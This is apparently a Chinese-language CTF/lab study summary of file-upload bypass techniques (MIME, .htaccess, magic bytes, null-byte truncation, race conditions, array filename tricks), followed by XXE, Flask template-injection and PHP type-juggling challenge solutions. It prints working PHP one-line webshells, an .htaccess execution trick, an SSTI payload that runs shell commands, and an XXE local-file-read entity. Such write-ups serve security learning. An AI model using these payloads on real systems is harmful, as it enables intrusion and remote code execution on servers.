文件上传(总结)

文件上传

JavaScript绕过 

1.方法一:

禁用JavaScript,直接上传木马。

文件上传(总结)

 

 2.方法二:

将checkFile()函数删除后,上传木马。

文件上传(总结)

 MIME绕过

媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。

MIME的组成结构非常简单;由类型与子类型两个字符串中间用 ‘/‘ 分隔而组成。不允许空格存在。type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。

通用的结构为:type/subtype

MIME类型对大小写不敏感,但是传统写法都是小写。

我们只需要将Content-Type改为合适的类型就可以。

文件上传(总结)

htaccess

htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

上传一个.htaccess内容如下的文件:

1 <FilesMatch "1.jpg"> 
2         SetHandler application/x-httpd-php  
3 </FilesMatch>

 

 

功能:将1.jpg按php文件执行

再上传1.jpg,完成木马注入。

文件上传(总结)

 

 利用蚁剑进行连接,获得flag。

 文件头绕过

只需要在文件开头加入正确的文件头,例如在gif文件的开头输入GIF89a:

文件上传(总结)

 

再利用蚁剑进行连接。

常见文件头:

JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
HTML (html),文件头:68746D6C3E
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Adobe Acrobat (pdf),文件头:255044462D312E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0

字符串替换-1

有提示图片可以知道,该题目过滤了许多东西。

文件上传(总结)

 

我们可以利用pphphp进行绕过,

文件上传(总结)

字符串替换-2

文件上传(总结)

 

 与1不同的是,替换时加入了空格,我们可以利用大小写进行绕过:

文件上传(总结)

 

黑名单

黑名单是设置不能通过的用户,黑名单以外的用户都能通过。

phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。

文件上传(总结)

 

00截断-1 (GET型)

文件上传(总结)

文件上传(总结)

 

 在1.php处进行连接。

00截断-2 (POST型)

文件上传(总结)

 

在1.php处进行连接。

条件竞争

文件上传(总结)

 

 unlink()函数导致木马文件会在服务器存在一定的时间,再被清除。

我们可以利用burpsuit使文件反复上传,并利用python反复访问网页将上传的木马文件运行。

木马文件内容:

<?php fputs(fopen(xiao.php,w),<?php eval($_REQUEST[1]);?>);?>

 

 python文件内容:

import requests
url = "文件位置"
while True:
    requests.get(url)

 

 二次渲染(未成功)

1.找的一个gif图片,在图片末尾加入<?php @eval($_POST[1]);?>

2.上传图片到网页,并将图片下载下来。

3.在十六进制编辑器中,寻找两张图片相同的地方。

4.在相同的地方加入一句话木马,上传、连接。

代码审计

 1 $is_upload = false;
 2 $msg = null;
 3 if(!empty($_FILES[‘upload_file‘])){
 4     //检查MIME
 5     $allow_type = array(‘image/jpeg‘,‘image/png‘,‘image/gif‘);
 6     if(!in_array($_FILES[‘upload_file‘][‘type‘],$allow_type)){
 7         $msg = "禁止上传该类型文件!";
 8     }else{
 9         //检查文件名
10         $file = empty($_POST[‘save_name‘]) ? $_FILES[‘upload_file‘][‘name‘] : $_POST[‘save_name‘];
11         if (!is_array($file)) {
12             $file = explode(‘.‘, strtolower($file));
13         }
14 
15         $ext = end($file);
16         $allow_suffix = array(‘jpg‘,‘png‘,‘gif‘);
17         if (!in_array($ext, $allow_suffix)) {
18             $msg = "禁止上传该后缀文件!";
19         }else{
20             $file_name = reset($file) . ‘.‘ . $file[count($file) - 1];
21             $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
22             $img_path = UPLOAD_PATH . ‘/‘ .$file_name;
23             if (move_uploaded_file($temp_file, $img_path)) {
24                 $msg = "文件上传成功!";
25                 $is_upload = true;
26             } else {
27                 $msg = "文件上传失败!";
28             }
29         }
30     }
31 }else{
32     $msg = "请选择要上传的文件!";
33 }

 action属性是提交的目标。

method属性是提交所用的HTTP方法,常用的就是 POST 和 GET,文件上传一般用 POST。

enctype属性必须要写成这样,因为文件上传和普通的提交具有不同的编码方式。如果不写的话,可能会被当做urlencoded,就是k1=v1&k2=v2的键值对形式,导致解析不出东西。

最后是文件输入框,它的name属性非常重要,它是PHP脚本中寻找文件的关键字。

接下来是PHP脚本中的东西,PHP中通过$_FILES对象来读取文件,通过下列几个属性:

$_FILES[file][‘name‘] - 被上传文件的名称。

$_FILES[file][‘type‘] - 被上传文件的类型。

$_FILES[file][‘size‘] - 被上传文件的大小(字节)。

$_FILES[file][‘tmp_name‘] - 被上传文件在服务器保存的路径,通常位于临时目录中。

$_FILES[file][‘error‘] - 错误代码,0为无错误,其它都是有错误。

如果上传的是数组的话,会跳过$file = explode(‘.‘, strtolower($file));。并且后缀有白名单过滤。

而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。$file[0]为1.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg

此时end($file)等于jpg$file[count($file) - 1]为空。而 $file_name = reset($file) . ‘.‘ . $file[count($file) - 1];,也就是1.php/.,最终move_uploaded_file会忽略掉/.,最终上传1.php

 文件上传(总结)

文件上传(总结)

在./upload/1.php处进行连接。

xxe-lab

文件上传(总结)

 

 

 

1 <?xml version="1.0"?>
2 <!DOCTYPE admin [
3 <!ENTITY test SYSTEM  "file:///路径">
4 ]>
5 <user><username>&test;</username><password>admin</password></user>

 

web1 

 1 <?php
 2 include(‘flag.php‘);
 3 $coffee=$_GET[‘coffee‘];
 4 if(!is_numeric($coffee))
 5 {
 6 echo $coffee.‘</br>‘;
 7 if($coffee==8888)
 8 
 9 echo $flag.‘</br>‘;
10 }
11 show_source(__FILE__);
12 ?>

 

参数coffee不能是数字或数字字符串,且coffee==8888

可以利用?coffee=8888%00进行绕过。

web2

过滤了cat,flag

我们可以用more等替换cat,用/f*替换/flag

文件上传(总结)

 

 

 flask-template

?name={{‘‘.__class__.__base__.__subclasses__()[117].__init__.__globals__[‘__builtins__‘][‘__import__‘](‘os‘).popen(‘cat ../flag‘).read()}}

不可能的任务

 1 <?php
 2 
 3 $flag = file_get_contents("/flag");
 4 
 5 highlight_file(__FILE__);
 6 
 7 if(!(isset($_GET[‘a‘]) && isset($_GET[‘b‘]) && isset($_GET[‘c‘]))) {
 8     die("no");
 9 }
10 
11 $a = $_GET[‘a‘];
12 $b = $_GET[‘b‘];
13 $c = $_GET[‘c‘];
14 
15 $check = $a and $b;
16 if($check) {
17     if($a and $b) {
18         die("No flag!Try it again!");
19     } else if("0e23333333" == md5($c)) {
20         die($flag);
21         } else {
22         die("what?");
23     }
24 } else{
25     die("Are You kidding?");
26 }

 

要想得到flag,那就必须实现$check为真,$a and $b为假。

因为‘=’的优先级大于‘and’,所以实际上是$check=$a为真,$a and $b为假。

既a=1,b=0

只要md5($c)=0就可以

payload:/?a=1&b=0&c=240610708

常见的0e开头的md5和原值:

 1 QNKCDZO
 2 0e830400451993494058024219903391
 3 240610708
 4 0e462097431906509019562988736854
 5 s878926199a
 6 0e545993274517709034328855841020
 7 s155964671a
 8 0e342768416822451524974117254469
 9 s214587387a
10 0e848240448830537924465865611904
11 s214587387a
12 0e848240448830537924465865611904
13 s878926199a
14 0e545993274517709034328855841020
15 s1091221200a
16 0e940624217856561557816327384675
17 s1885207154a
18 0e509367213418206700842008763514
19 s1502113478a
20 0e861580163291561247404381396064
21 s1885207154a
22 0e509367213418206700842008763514
23 s1836677006a
24 0e481036490867661113260034900752
25 s155964671a
26 0e342768416822451524974117254469
27 s1184209335a
28 0e072485820392773389523109082030
29 s1665632922a
30 0e731198061491163073197128363787
31 s1502113478a
32 0e861580163291561247404381396064
33 s1836677006a
34 0e481036490867661113260034900752
35 s1091221200a
36 0e940624217856561557816327384675
37 s155964671a
38 0e342768416822451524974117254469
39 s1502113478a
40 0e861580163291561247404381396064
41 s155964671a
42 0e342768416822451524974117254469
43 s1665632922a
44 0e731198061491163073197128363787
45 s155964671a
46 0e342768416822451524974117254469
47 s1091221200a
48 0e940624217856561557816327384675
49 s1836677006a
50 0e481036490867661113260034900752
51 s1885207154a
52 0e509367213418206700842008763514
53 s532378020a
54 0e220463095855511507588041205815
55 s878926199a
56 0e545993274517709034328855841020
57 s1091221200a
58 0e940624217856561557816327384675
59 s214587387a
60 0e848240448830537924465865611904
61 s1502113478a
62 0e861580163291561247404381396064
63 s1091221200a
64 0e940624217856561557816327384675
65 s1665632922a
66 0e731198061491163073197128363787
67 s1885207154a
68 0e509367213418206700842008763514
69 s1836677006a
70 0e481036490867661113260034900752
71 s1665632922a
72 0e731198061491163073197128363787
73 s878926199a
74 0e545993274517709034328855841020

 

 

 

 

 

 

 

 

 

 

 

 

 

             

文件上传(总结)

上一篇:Linux下Electron loadURL报错 ERR_FAILED(-2) Not allowed to load local resource


下一篇:JS正则表达式语法大全(非常详细)